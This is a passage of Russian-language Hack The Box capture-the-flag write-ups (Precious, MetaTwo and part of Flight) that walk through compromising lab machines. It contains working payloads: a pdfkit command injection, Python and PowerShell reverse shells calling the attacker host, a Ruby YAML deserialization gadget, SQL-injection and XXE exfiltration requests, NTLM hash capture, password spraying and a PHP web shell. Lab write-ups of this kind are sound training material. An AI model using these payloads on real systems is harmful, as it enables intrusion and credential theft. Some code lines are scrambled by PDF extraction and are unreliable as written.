твен ное, что мы можем делать здесь, — это переби рать пароли брут форсом,
но у машин с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари- 
антов может не быть, к тому же есть шан сы подоб рать пароль или получить
его при помощи соци аль ной инже нерии.

Глав ная стра ница сай та precious.htb

Нас встре чает фор ма кон верте ра веб-стра ницы в файл PDF. А это потен- 
циаль ная точ ка вхо да.

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым же делом я поп робовал про читать локаль ный файл ,

зап росив URL . На этот зап рос сер вер вер нул ошиб ку
«You should provide a valid URL!». Сле дующий этап — поп робовать получить
внут ренние стра ницы, обра щаясь на адрес ,  и дру гие

его вари анты. На зап росы такого пла на получа ем ошиб ку «Cannot load remote
URL!».

/etc/passwd
file:///etc/passwd

127.0.0.1 localhost

Зна чит, сер вер все же дела ет какой-то зап рос. Давай тог да запус тим
на сво ем хос те веб-сер вер:

python3 -m http.server 80 

Вы пол няем зап рос на него и видим, что в отдель ной вклад ке открыл ся PDF,
содер жащий ответ нашего сер вера.

Со дер жимое сге нери рован ного PDF-фай ла

Те перь с помощью exiftool мы можем пос мотреть, какая прог рамма была
исполь зована, что бы сге нери ровать PDF.

Ме тадан ные ска чан ного PDF-фай ла

Уз наем не толь ко наз вание генера тора, но и его точ ную вер сию: pdfkit v0.8.6.
Отлично, зна чит, мы можем поис кать готовые экс пло иты.

А так как мы зна ем тех нологию, сра зу про веря ем пуб лично дос тупные экс- 
пло иты. Можешь исполь зовать спе циаль ные средс тва вро де searchsploit,
но куда про ще поис кать в Google.

По иск экс пло ита для pdfkit

Ви дим упо мина ние уяз вимос ти CVE-2022-25765. Давай раз бирать ся.

ÒÎ×ÊÀ ÎÏÎÐÛ
На ходим  спо соба экс плу ата ции.под робное опи сание

Инс трук ция по экс плу ата ции

Та ким обра зом, если мы закоди руем коман ду в URL и переда дим в парамет- 
ре зап роса, то из-за неп равиль ной обра бот ки это го парамет ра коман да
будет выпол нена. Для тес та выпол ним коман ду , отпра вив в фор му URL:id

%20curl http://10.10.14.44/?test= `id`

Ска чан ный документ

В ска чан ном докумен те отра жен вывод отправ ленной коман ды. Запус каем
лис тенер  и выпол няем сле дующий реверс-шелл на Python 3:pwncat-cs

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.44",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty;pty.spawn("bash")'

По лучен ная сес сия поль зовате ля ruby

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам нуж но соб рать информа цию. Я обыч но исполь зую для это го
скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, для чего ком бинаци ей кла виш Ctrl-D
перей дем в глав ное меню pwncat-cs и выпол ним коман ду . Затем

коман дой  воз вра щаем ся к коман дной обо лоч ке сес сии, даем скрип ту
пра ва на выпол нение и запус каем ска ниро вание. В выводе будет мно го
информа ции, поэто му отбе рем толь ко зна чимую. В этот раз отме чаем
наличие фай лов исто рии и нас тро ек.

upload
back

Фай лы в домаш нем катало ге поль зовате ля

Прос матри ваем най ден ные фай лы и в кон фиге  находим
пароль.

~/.bundle/config

Со дер жимое фай ла кон фигура ций

Этот пароль может подой ти к дру гим служ бам или учет ным записям поль- 
зовате лей, что мы, конеч но же, про верим. Из фай ла  узна ем
о сущес тво вании поль зовате ля . Теперь либо с помощью su перехо дим

в его кон текст, либо авто ризу емся в новой сес сии SSH.

/etc/passwd
henry

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Раз ведку уже про води ли, поэто му сно ва запус кать LinPEAS или дру гие эну- 
мера торы осо бого смыс ла нет. Одна ко есть мес та, которые сто ит про верить
из-за того, что у нас новый кон текст работы. Нап ример, нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Мы узна ли, что мож но выпол нить в при виле гиро ван ном кон тек сте без вво да
пароля ( ) такую коман ду:NOPASSWD

/usr/bin/ruby /opt/update_dependencies.rb 

Да вай пос мотрим исходный код это го скрип та.

Со дер жимое фай ла /opt/update_dependencies.rb

Я сра зу под метил исполь зование модуля  и фун кции . Этот модуль
пре дос тавля ет интерфейс Ruby для сери али зации и десери али зации дан ных
в фор мате YAML.

YAML load

Справка: сериализация и десериализация
Се риали зация — это про цесс пре обра зова ния объ екта в пос ледова тель- 
ность бай тов, которые затем могут быть переда ны по сети либо сох ранены
в фай ловой сис теме или в базе дан ных. Эти бай ты вклю чают в себя всю
информа цию, необ ходимую для вос ста нов ления исходно го объ екта. Про цесс
реконс трук ции называ ется десери али заци ей. Таким обра зом, исполь зуя
заранее сери али зован ный объ ект, при его десери али зации мож но выпол нить
про изволь ный код.

В нашем слу чае мы можем передать про изволь ные дан ные в фун кцию 

, так как они счи тыва ются из фай ла . Сущес тву ет
уже мно го готовых наг рузок. К при меру, так мы можем выпол нить коман ду

, что даст нам при виле гиро ван ную коман дную обо лоч ку.

YAML.
load() dependencies.yml

bash

---
 - !ruby/object:Gem::Installer
   i: x
 - !ruby/object:Gem::SpecFetcher
   i: y
 - !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry

        read: 0
        header: "abc"

      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet

            sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'

                method_id: :system
            git_set: bash

        method_id: :resolve

Соз даем такой файл в текущем катало ге и запус каем най ден ный скрипт
под sudo. Пос ле вывода оши бок запус тится новая коман дная обо лоч ка.

sudo /usr/bin/ruby /opt/update_dependencies.rb 

Флаг рута

Мы получи ли флаг рута, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
https://github.com/calebstewart/pwncat
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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METATWO

РАСКРУЧИВАЕМ УЯЗВИМОСТЬ 
В WORDPRESS ДО ПОЛНОГО

ЗАХВАТА МАШИНЫ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать SQL-инъ екцию в WordPress
для авто риза ции в CMS. Затем про экс плу- 
ати руем локаль ное вклю чение фай лов,
а для повыше ния при виле гий зах ватим дан- 
ные менед жера паролей Passpie.

Уп ражнять ся во всем этом мы будем на тре ниро воч ной машине MetaTwo
с пло щад ки . Уро вень слож ности — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.186    metatwo.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел три откры тых пор та:
21 — служ ба FTP;•
22 — служ ба OpenSSH 8.4p1;•
80 — веб-сер вер Nginx 1.18.0.•

На SSH без учет ных дан ных ничего не сде лать, служ ба FTP ано ним ную авто- 
риза цию не раз реша ет, поэто му идем смот реть веб-сайт. При том, как видим
из резуль тата ска ниро вания, выпол няет ся редирект на сайт 

. Новый домен добав ляем в файл .
http://

metapress.htb/ /etc/hosts

10.10.11.186 metatwo.htb metapress.htb 

Глав ная стра ница сай та metapress.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На самой стра нице находим упо мина ние CMS WordPress.

metapress.htb

При тес тирова нии сай тов на WordPress я рекомен дую исполь зовать ути литу
. Прог рамма поз воля ет получить информа цию как о самой CMS, так

и об уста нов ленных пла гинах и темах, обна ружить дей ству ющих поль зовате- 
лей и даже проб рутить фор му авто риза ции. Запус каем прог рамму в режиме
агрессив ного ска ниро вания всех пла гинов в 128 потоков.

wpscan

 p 
 128 

wpscan --url http://metapress.htb -e --plugins-detection 
aggressive -t

Вер сия CMS WordPress

Прос каниро вать пла гины у нас тол ком не выш ло, так как про цесс силь но
замед ляет ся, а сло варь очень боль шой. Зато поиск экс пло итов к этой вер сии
CMS дал резуль тат. Прав да, най ден ный мной  тре бует авто ризо ван- 
ного дос тупа, поэто му отме тим его на будущее.

экс пло ит

По иск экс пло ита в Google

Те перь сос тавим кар ту сай та, что бы понимать область тес тирова ния.
При этом мож но най ти инте рес ные адре са, которых мы еще не видели. Ска- 
ниро вать и сос тавлять кар ту мож но пря мо в , дос таточ но выб рать в кон- 

текс тном меню Engagement tools → Discover content.

Burp

Кар та сай та metapress.htb

По соз данной кар те сай та вид но, что уста нов лен пла гин BookingPress вер- 
сии 1.0.10. Как всег да, сра зу про веря ем, нет ли готовых экс пло итов для этой
вер сии пла гина.

По иск экс пло ита в Google

На ходим , который работа ет без авто риза ции.экс пло ит

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://wpscan.com/wordpress-security-scanner
https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357


HTB METATWO
РАСКРУЧИВАЕМ УЯЗВИМОСТЬ 

В WORDPRESS ДО ПОЛНОГО ЗАХВАТА
МАШИНЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
SQL Injection
В опи сании к экс пло иту есть готовый зап рос.

Опи сание экс пло ита

Од нако, что бы его выпол нить, нам нуж но знать параметр . Перехо- 

дим к кар те сай та и в кон текс тном меню выбира ем поиск по все му сай ту:
Engagement tools → Search.

_wpnonce

По иск парамет ра _wpnonce

Вы пол няем зап рос из опи сания и получа ем ответ в фор мате JSON.

curl   'http://metapress.htb/wp-admin/admin-ajax.php' --data
'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&
category_id=33&total_service=-7502) UNION ALL SELECT @@version,
@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

От вет от сер вера

В зап росе мы получи ли вер сию базы дан ных и опе раци онной сис темы.
Для удобс тва отоб ражения будем филь тро вать нуж ные парамет ры из отве та
с помощью grep.

curl   

 

'http://metapress.htb/wp-admin/admin-ajax.php' --data
'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&
category_id=33&total_service=-7502) UNION ALL SELECT @@version,
@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' | jq | grep
'bookingpress_service_id\|bookingpress_category_id\
|bookingpress_service_name'

От вет сер вера

Так как мы работа ем с WordPress, струк тура базы дан ных извес тна. Нам нуж но
получить поль зовате лей (стол бец ) и хеши паролей (стол бец

) из таб лицы . У нас выводит ся все го одна запись, а поль- 

зовате лей может быть нес коль ко, так что груп пиру ем все записи из стол бца
в одну с помощью фун кции .

user_login
user_pass wp_users

group_concat()

curl   

 

'http://metapress.htb/wp-admin/admin-ajax.php' --data
'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&
category_id=33&total_service=-7502) UNION ALL SELECT group_concat(
user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 
from wp_users-- -' | jq | grep 'bookingpress_service_id\
|bookingpress_category_id\|bookingpress_service_name'

Поль зовате ли CMS WordPress

По лучи ли хеши — отправ ляем на брут. Будем исполь зовать , а ему

нуж но ука зывать режим (тип хеша), опре делить который нам поможет справ ка
прог раммы.

hashcat

 |    hashcat --example grep '\$P\$' -A2 -B12

Справ ка hashcat

Та ким обра зом, необ ходимый режим работы — 400, ука зыва ем его
в парамет ре .-m

hashcat -m 400 400.hash ~/tools/TOOL/wordlists/Passwords/rockyou.txt 

Ре зуль тат перебо ра хеша

По луча ем пароль поль зовате ля manager и авто ризу емся на сай те. Теперь
самое вре мя вспом нить про обна ружен ную вна чале уяз вимость XXE.

XXE
 — уяз вимость, которая поз- 

воля ет ата кующе му вме шивать ся в обра бот ку XML-дан ных. Эта уяз вимость
пре дос тавля ет нам воз можность получить про изволь ные фай лы из сис темы.

Èíú åêöèÿ âíåø íèõ ñóù íîñòåé XML (XXE)

В WordPress есть меди ате ка, которая поз воля ет аутен тифици рован ным
поль зовате лям заг ружать меди афай лы, что бы затем исполь зовать их
при написа нии пос тов в бло ге. Мета информа цию из этих меди афай лов (нап- 
ример, имя исполни теля) WordPress извле кает при помощи биб лиоте ки
getID3. Некото рые из этих метадан ных переда ются в фор ме XML. Вот тут
и пря чет ся наша уяз вимость.

Пер вым делом сге нери руем файл .wav, содер жащий документ XML,
который будет заг ружать внеш нюю сущ ность с нашего хос та.

<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5/evil.
dtd'"'"'>%remote;%init;%trick;] > 

  echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml 
version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.
10.14.5/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav 

Внеш няя сущ ность дол жна содер жать парамет ры  и .init trick

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/
etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.5/?p=%file;
'>" > 

Та ким обра зом, при заг рузке фай ла .wav про изой дет заг рузка сущ ности
 с нашего хос та, которая получит содер жимое фай ла 

и выпол нит зап рос сле дующей сущ ности. При этом в самом зап росе она
передаст в качес тве парамет ра  содер жимое получен ного фай ла, закоди- 
рован ное в Base64.

evil.dtd /etc/passwd

p

Фор ма заг рузки фай ла

Зап рос сущ ности и эксфиль тра ция фай ла

Де коди руем дан ные из Base64 и получа ем содер жимое зап рошен ного фай ла
./etc/passwd

Со дер жимое фай ла /etc/passwd

Продолжение статьи →



HTB METATWO
РАСКРУЧИВАЕМ УЯЗВИМОСТЬ 

В WORDPRESS ДО ПОЛНОГО ЗАХВАТА
МАШИНЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
С воз можностью читать фай лы на уда лен ной сис теме для прод вижения нам
нуж но искать учет ные дан ные. Пер вая мысль — про читать файл с нас трой- 
ками сай та, где хра нят ся учет ные дан ные для под клю чения к базе дан ных.
В слу чае WordPress это файл . Что бы про читать его, нуж но

знать путь к фай лам веб-сай та, в чем поможет чте ние нас тро ек сер вера
Nginx, а имен но вот этот файл:

wp-config.php

/etc/nginx/sites-enabled/default 

Зап рашива ем его:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/
etc/nginx/sites-enabled/default">

Нас трой ки Nginx

Уз наём путь  и чита ем содер жимое фай ла
.

/var/www/metapress.htb/blog
wp-config.php

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/
var/www/metapress.htb/blog/wp-config.php">

Учет ные дан ные для под клю чения к базе дан ных

Мы наш ли учет ные дан ные для под клю чения к FTP-сер веру. Под клю чаем ся
сами и видим инте рес ный каталог .mailer

Со дер жимое FTP-ресур са

Пе рехо дим к ресур су  и видим файл , который ска- 

чива ем на локаль ный хост.

mailer send_email.php

Со дер жимое ресур са mailer

В исходном коде находим учет ные дан ные для поч тового сер вера.

Со дер жимое фай ла send_email.php

C получен ным логином и паролем успешно авто ризу емся по SSH и забира ем
флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Для поис ка путей повыше ния при виле гий я, как всег да, буду исполь зовать
скрипт PEAS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поп робу ем най ти важ ную.
Так я обна ружил, что в спис ке клю чей SSH есть ключ .passpie

Ве роят ные при ват ные клю чи SSH

 — это кон соль ный менед жер паролей с нас тра иваемым интерфей- 
сом. Он хра нит пароли в зашиф рован ном виде, а для рас шифро выва ния
исполь зует ся мас тер-пароль. В катало ге прог раммы най дем зашиф рован ный
пароль поль зовате ля root.

Passpie

За шиф рован ные пароли поль зовате лей

Единс твен ное, что мы можем сде лать в дан ной ситу ации, — заб рать из сис- 
темы ключ PGP и попытать ся наб рутить мас тер-пароль.

PGP-ключ Passpie

Пе ред бру том пароля нуж но при вес ти ключ PGP в понят ный для прог раммы
 фор мат. В этом поможет скрипт , которо му нуж но

ука зать файл с клю чом.

John the Ripper gpg2john

Пре обра зова ние клю ча

Те перь отда ем файл с пре обра зован ным клю чом JTR, ждем нес коль ко секунд
и получа ем мас тер-пароль.

Ре зуль тат перебо ра пароля

Воз вра щаем ся в тер минал ата куемо го хос та и про буем получить сох ранен- 
ные пароли.

pass passpie export 

Сох ранен ные пароли

Ло каль но меня ем поль зовате ля на рут, ука зав получен ный пароль, и забира- 
ем вто рой флаг.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/marcwebbie/passpie
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ВЗЛОМ

В этом рай тапе я покажу, как похищать
пароли поль зовате лей Windows раз ными
спо соба ми, пос ле чего мы зах ватим
веб-сер вер, прой дя по цепоч ке уяз вимос- 
тей, которые поз волят нам раз за разом
повышать при виле гии.

На ша цель — получить пра ва супер поль зовате ля на тре ниро воч ной машине
Flight с пло щад ки . Машина оце нена как слож ная.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.187    flight.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

В резуль татах ска ниро вания видим мно го откры тых пор тов, что типич но
для Windows:

53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Apache 2.4.52;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP/RPC/EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

Ано ним ная аутен тифика ция ниг де не дос тупна, поэто му идем на веб-сер вер.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На стар товой стра нице ничего най ти не уда лось, поэто му необ ходимо рас- 
ширить область тес тирова ния. Самый оче вид ный спо соб — перебо ром поис- 
кать скры тые домены и катало ги. Я это делаю при помощи ска нера .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — филь тр, исклю чающий стра ницы по раз меру;• -fs

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ем сло вом FUZZ.

Ко ман да получа ется сле дующая:

ffuf     
  256 

-u 'http://flight.htb' -w subdomains-top1million-110000.txt -H
"Host: FUZZ.flight.htb" -t --fs 7069 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим новый под домен и вно сим его в файл ./etc/hosts

10.10.11.187 flight.htb school.flight.htb 

Глав ная стра ница сай та school.ight.htb

Об рати вни мание, что заг ружа емая стра ница ука зыва ется в качес тве
парамет ра . Про верим, нет ли здесь уяз вимос ти LFI, и ука жем в парамет- 
ре  файл .

view
view index.php

http://school.flight.htb/index.php?view=index.php 

Ре зуль тат про вер ки LFI

Ви дим на стра нице какой-то код на PHP. Сто ит озна комить ся с ним поб лиже.

Ис ходный код стра ницы

Мы узна ем путь к фай лам сай та, а так же исполь зуемые для обра бот ки
парамет ра филь тры. Так как не филь тру ется пос ледова тель ность , мы
можем зас тавить веб-сер вер обра тить ся к любому уда лен ному сер веру.
При этом Windows попыта ется авто ризо вать ся на ука зан ном ресур се, и мы
получим NetNTLMv2-хеш пароля поль зовате ля веб-сер вера. Что бы ловить
такие хеши, запус каем на локаль ном хос те ути литу .

//

Responder

 sudo responder -v -I tun0 

Те перь ука зыва ем свой адрес и ловим хеш.

http://school.flight.htb/index.php?view=//10.10.14.16/share 

Ло ги Responder

От прав ляем хеш на перебор, в качес тве режима hashcat (параметр ) ука- 
зыва ем 5600, соот ветс тву ющий хешу NetNTLMv2.

-m

hashcat -m 5600 5600.hash rockyou.txt 

Ре зуль тат перебо ра хеша

Про веря ем учет ные дан ные на при мере служ бы SMB с помощью
.CrackMapExec

 crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'

Про вер ка учет ных дан ных

Учет ные дан ные вер ны, поэто му получа ем дос тупные сетевые ресур сы и спи- 
сок поль зовате лей.

   crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users
--shares

Ре зуль тат выпол нения зап роса

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/lgandx/Responder
https://github.com/Porchetta-Industries/CrackMapExec


HTB FLIGHT
ПОВЫШАЕМ ПРИВИЛЕГИИ 

В WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Да вай под клю чим ся к обще му ресур су  и прос мотрим его содер жимое.Web

impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187 

Со дер жимое SMB-ресур са Web

Ни чего, кро ме катало гов сай тов, там не находим. Одна ко текущая учет ная
запись — слу жеб ная, и у поль зовате ля, ско рее все го, есть еще и основная.
Поп робу ем зай ти в дру гие учет ки с тем же паролем.

  crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13'
--continue-on-success

Спрей най ден ного пароля

По луча ем еще одну под кон троль ную учет ную запись. Теперь про веря ем,
какие общие катало ги дос тупны новому поль зовате лю.

    crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares

Дос тупные общие ресур сы SMB

Для записи дос тупен каталог . Боль ше ничего най ти не уда лось,
ресурс ока зал ся пус тым. Тог да воз никла идея похитить NetNTLMv2-пароли
дру гим спо собом. В этот раз будем исполь зовать файл ,

в котором параметр  ука зыва ет на наш внеш ний ресурс.

Shared

desktop.ini
IconResource

[.ShellClassInfo] 
hare IconResource=\\10.10.14.51\s

Лю бой поль зователь, который прос мотрит этот каталог, авто мати чес ки обра- 
тит ся к нашему ресур су и при этом пре дос тавит учет ные дан ные.

impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187 

Со дер жимое обще го ресур са

Спус тя некото рое вре мя пос ле заг рузки фай ла получа ем учет ные дан ные
поль зовате ля .c.bum

 sudo responder -v -I tun0 

NetNTLMv2-хеш поль зовате ля

Бру тим получен ный хеш тем же методом, что и рань ше.

hashcat -m 5600 5600.hash rockyou.txt 

Ре зуль тат под бора пароля

Та ким обра зом получа ем еще одну под кон троль ную учет ную запись. И сно ва
прос матри ваем дос тупные в новом кон тек сте сетевые ресур сы SMB.

    crackmapexec smb 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284'
--shares

Дос тупные общие ресур сы SMB

Те перь у нас есть пра во записи в каталог , а это зна чит, что мы можем

помес тить туда веб-шелл и получить дос туп к хос ту. Будем исполь зовать
самый прос той шелл на PHP.

Web

<?php echo system($_GET['cmd']); ?> 

Заг ружа ем его в каталог сай та school и про буем выпол нить коман ду .whoami

impacket-smbclient flight.htb/c.bum:'Tikkycoll_431012284'@10.10.11.
187 

Заг рузка фай ла в каталог

curl 'http://school.flight.htb/shell.php?cmd=whoami'

Ре зуль тат выпол нения коман ды whoami

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь проб росим реверс-шелл, для чего будем исполь зовать инс тру мент

. Пос ле уста нов ки и запус ка сра зу генери руем наг рузку.Villain

tun0 generate os=windows lhost=

Наг рузка Villain

За писы ваем сге нери рован ную наг рузку в файл (у меня ) и запус каем
на уда лен ном хос те через PowerShell.

r.ps1

curl 'http://school.flight.htb/shell.php?cmd=powershell.exe+IEX(
New-Object%20Net.WebClient).DownloadString(%27http://10.10.14.51/r.
ps1%27)'

Сес сия Villain

Пе реиме нуем сес сию и получим шелл.

alias shell1 09ca02b5-095cd2df-b11c673a 
shell shell1 

Пе реиме нова ние сес сии

Со дер жимое рабоче го сто ла поль зовате ля

На рабочем сто ле нет фла га, а зна чит, это не целевой поль зователь. Так
как мы зна ем учет ные дан ные поль зовате ля , то можем его имперсо- 

ниро вать. Для это го исполь зуем . Заг- 
ружа ем скрипт со сво его хос та, переда ем учет ные дан ные и выпол няемую
коман ду.

c.bum
PowerShell-вер сию ути литы RunasCs

IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.51/
Invoke-RunasCs.ps1")
Invoke-RunasCs c.bum Tikkycoll_431012284 whoami

Ре зуль тат выпол нения коман ды whoami в кон тек сте дру гого поль зовате -
ля

Все получи лось, поэто му кида ем дру гой реверс-шелл в кон тек сте нового
поль зовате ля.

Invoke-RunasCs c.bum Tikkycoll_431012284 "powershell IEX(New-Object 
Net.WebClient).DownloadString('http://10.10.14.51/r.ps1')"

Но вая сес сия Villain

Как толь ко при шел бэк коннект, меня ем имя сес сии, получа ем шелл и про- 
веря ем флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
По луча ем пол ную информа цию о поль зовате ле, что бы понимать кон текст,
в котором мы работа ем.

whoami /all

Ин форма ция о текущем поль зовате ле

Поль зователь сос тоит в груп пе , при этом на дис ке  находим каталог

.

WebDevs C
inetpub\development

Со дер жимое катало га development

Струк тура катало гов типич на для веб-сер вера Microsoft IIS, хотя изна чаль но
мы работа ли в Apache. Прос мотрим спи сок исполь зуемых пор тов.

netstat /an

Спи сок исполь зуемых пор тов

На ходим веб-порт 8000. Что бы получить дос туп к нему, нуж но пос тро ить тун- 
нель, для чего будем исполь зовать . На локаль ном хос те запус тим сер- 
вер, ожи дающий под клю чения (параметр ) на порт 4321 (параметр

).

chisel

--reverse
-p

 ./chisel.bin server --reverse -p 4321 

